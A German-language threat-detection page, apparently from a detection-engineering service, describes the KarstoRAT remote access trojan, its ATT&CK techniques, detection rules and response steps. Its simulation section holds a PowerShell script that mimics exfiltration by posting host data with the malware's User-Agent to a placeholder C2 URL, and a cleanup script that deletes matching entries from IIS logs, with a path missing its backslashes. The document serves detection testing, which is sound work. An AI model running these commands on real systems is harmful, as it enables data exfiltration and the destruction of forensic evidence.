Ein genauerer Blick auf die neuartige und heimtückische KarstoRAT-Malware
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
KarstoRAT ist ein kürzlich identifizierter Remote Access Trojaner, der in der Lage ist, Systeminformationen zu sammeln, Audio- und Webcam-Feeds aufzuzeichnen, Screenshots zu machen, Tastatureingaben zu protokollieren und Authentifizierungstoken zu stehlen. Die Malware bleibt persistent, kommuniziert über HTTP mit ihrem Command-and-Control-Server durch einen charakteristischen benutzerdefinierten User-Agent und kann zusätzliche Nutzlasten für weitere Aktivitäten abrufen. Sie enthält auch störende Funktionen wie Bildschirmumkehrung und erzwungene Audiowiedergabe.
Untersuchung
LevelBlue SpiderLabs hat den Ausführungsablauf, die Command-and-Control-Kommunikation, die Exfiltration-Routinen und die Persistenzmethoden von KarstoRAT untersucht. Der Bericht hebt eine endlose Zwei-Sekunden-Schleife hervor, die verwendet wird, um die Malware in Betrieb zu halten, und beschreibt die STARTUP_ON and STARTUP_OFF Befehle, die das automatische Startverhalten steuern. Die Forscher dokumentierten auch die Fähigkeit der Malware, das Desktop-Hintergrundbild zu ändern und sich auf Anweisung selbst zu löschen.
Abschwächung
Die Erkennungsbemühungen sollten sich auf den einzigartigen HTTP-User-Agent der Malware, verdächtige Startup-bezogene Registrierungseinträge und ein ungewöhnliches Schleifenprozess-Verhalten konzentrieren. Endpunktverteidigungen sollten auch auf die im Bericht beschriebene dateilose Aktivität achten und unbekannte Binärdateien blockieren, die durch den gefälschten Roblox-Marktplatz-Köder geliefert werden.
Reaktion
Wird KarstoRAT identifiziert, isolieren Sie das betroffene Gerät, bewahren Sie forensische Beweise, einschließlich HTTP-Verkehr und Startup-Artefakte, auf und entfernen Sie alle Persistenzmechanismen. Organisationen sollten exponierte Anmeldeinformationen rotieren und weiterhin auf möglicherweise nach dem ersten Angriff heruntergeladene sekundäre Nutzlasten überwachen.
"graph TB %% Klassendefinitionen classDef action fill:#99ccff classDef persistence fill:#ffcc99 classDef credential fill:#ff9999 classDef collection fill:#ccffcc classDef discovery fill:#ccccff classDef impact fill:#ffb347 classDef defense fill:#d3d3d3 %% Knotendefinitionen action_user_execution["<b>Aktion</b> – <b>T1204.001 Benutzer ausführung: Bösartiger Link</b><br/>Opfer klickt auf einen gefälschten Roblox-Marktplatz-Link (Social Engineering)."] class action_user_execution action persistence_boot_script["<b>Persistenz</b> – <b>T1037 Boot- oder Anmeldeinitialisierungsskripts</b><br/>Malware registriert sich in STARTUP_ON/OFF, um automatisch beim Booten oder Anmelden zu starten."] class persistence_boot_script persistence credential_keylogging["<b>Zugang zu Anmeldeinformationen</b> – <b>T1056.001 Eingabefang: Keylogging</b><br/>Malware protokolliert Tastatureingaben, um Anmeldeinformationen und andere sensible Daten zu erfassen."] class credential_keylogging credential collection_screen_capture["<b>Sammlung</b> – <b>T1113 Bildschirmaufnahme</b><br/>Malware erfasst regelmäßig Screenshots des Desktops des Opfers."] class collection_screen_capture collection collection_audio_capture["<b>Sammlung</b> – <b>T1123 Audioaufnahme</b><br/>Malware zeichnet Audio vom Systemmikrofon auf."] class collection_audio_capture collection collection_video_capture["<b>Sammlung</b> – <b>T1125 Videoaufnahme</b><br/>Malware greift auf die Webcam zu, um Video des Opfers aufzuzeichnen."] class collection_video_capture collection discovery_process["<b>Entdeckung</b> – <b>T1057 Prozessentdeckung</b><br/>Malware zählt laufende Prozesse auf, um Sicherheitswerkzeuge oder wertvolle Anwendungen zu identifizieren."] class discovery_process discovery discovery_hardware["<b>Entdeckung</b> – <b>T1592.001 Informationen über das Hostmaterial des Opfers sammeln: Hardware</b><br/>Malware sammelt Hardware-Details wie CPU, RAM und GPU."] class discovery_hardware discovery discovery_software["<b>Entdeckung</b> – <b>T1592.002 Informationen über das Hostmaterial des Opfers sammeln: Software</b><br/>Malware sammelt installierte Softwareversionen und Patches."] class discovery_software discovery discovery_firmware["<b>Entdeckung</b> – <b>T1592.003 Informationen über das Hostmaterial des Opfers sammeln: Firmware</b><br/>Malware extrahiert Firmware- und BIOS-Informationen."] class discovery_firmware discovery discovery_config["<b>Entdeckung</b> – <b>T1592.004 Informationen über das Hostmaterial des Opfers sammeln: Client-Konfiguration</b><br/>Malware sammelt Konfigurationseinstellungen wie Sprache, Zeitzone und Netzwerkparameter."] class discovery_config discovery impact_remote_desktop["<b>Auswirkungen</b> – <b>T1219.002 Remote-Desktop-Software</b><br/>Malware nutzt Remote-Desktop-Fähigkeiten, um den Desktop-Hintergrund zu ändern, das Display zu drehen und die Maustasten zu tauschen."] class impact_remote_desktop impact defense_self_destruct["<b>Verteidigungsausweichung</b> – <b>T1027.005 Indikatorentfernung von Werkzeugen</b><br/>Malware zerstört sich selbst und entfernt ihre Dateien, um Beweise zu löschen."] class defense_self_destruct defense %% Verbindungen action_user_execution –>|leads_to| persistence_boot_script persistence_boot_script –>|ermöglicht| credential_keylogging credential_keylogging –>|ermöglicht| collection_screen_capture collection_screen_capture –>|ermöglicht| collection_audio_capture collection_audio_capture –>|ermöglicht| collection_video_capture collection_video_capture –>|ermöglicht| discovery_process discovery_process –>|leads_to| discovery_hardware discovery_hardware –>|leads_to| discovery_software discovery_software –>|leads_to| discovery_firmware discovery_firmware –>|leads_to| discovery_config discovery_config –>|ermöglicht| impact_remote_desktop impact_remote_desktop –>|auslöst| defense_self_destruct "
Angriffsablauf
Erkennungen
Privilegieneskalation (UAC-Bypass) in FodHelper (via registry_event)
Ansicht
Mögliche Persistenzpunkte [ASEPs – Software/NTUSER Hive] (via registry_event)
Ansicht
Mögliche Nutzung von Schtasks oder AT für Persistenz (via cmdline)
Ansicht
Mögliche PING-Nutzung zur Verzögerung der Ausführung (via cmdline)
Ansicht
Verdächtige Binärdatei / Skripte im Autostart-Ort (via file_event)
Ansicht
Möglicher Versuch der IP-Lookup-Domain-Kommunikation (via dns)
Ansicht
Möglicher Port-Tunneling-Dienst (via dns)
Ansicht
Erkennung der KarstoRAT C2-Kommunikation [Windows-Netzwerkverbindung]
Ansicht
Erkennung von KarstoRAT-Malware-Aktivitäten [Windows-Prozesserstellung]
Ansicht
Simulation Ausführung
Voraussetzung: Der Telemetrie- & Basislinien-Pre‑flight-Check muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennung erwartet wird.
-
Angriffsbericht & Befehle:
Der Angreifer hat Zugriff auf das Netzwerk des Opfers erlangt und möchte einen Command-and-Control-Kanal für KarstoRAT einrichten. Um sich in rechtmäßigen Verkehr zu integrieren, verwendet die Malware eine fest codierte User-Agent-Zeichenkette „SecurityNotifier“. Der Angreifer führt einen PowerShell-One-Liner auf dem kompromittierten Host aus, der eine HTTP POST-Anfrage an den C2-Server sendet und den UA-Header einbettet. Die Anfrage enthält eine kleine JSON-Nutzlast, die Datenexfiltration nachahmt, was ausreicht, um die Sigma-Regel auszulösen. -
Regressionstestskript:
# KarstoRAT C2-Simulation – PowerShell $c2Url = "http://<webserver>/karsto_c2" $payload = @{ host = $env:COMPUTERNAME data = "sample exfiltrated data" } | ConvertTo-Json $headers = @{ "User-Agent" = "SecurityNotifier" "Content-Type" = "application/json" } try { Invoke-WebRequest -Uri $c2Url ` -Method POST ` -Headers $headers ` -Body $payload ` -UseBasicParsing Write-Host "C2-Anfrage gesendet." } catch { Write-Error "C2-Anfrage senden fehlgeschlagen: $_" } -
Aufräumbefehle:
# Entferne generierte Anfrage aus IIS-Logs (erfordert Administratorrechte) $logPath = "C:inetpublogsLogFilesW3SVC1" Get-ChildItem -Path $logPath -Filter "*.log" | ForEach-Object { (Get-Content $_.FullName) | Where-Object { $_ -notmatch "SecurityNotifier" } | Set-Content $_.FullName } Write-Host "Logs bereinigt."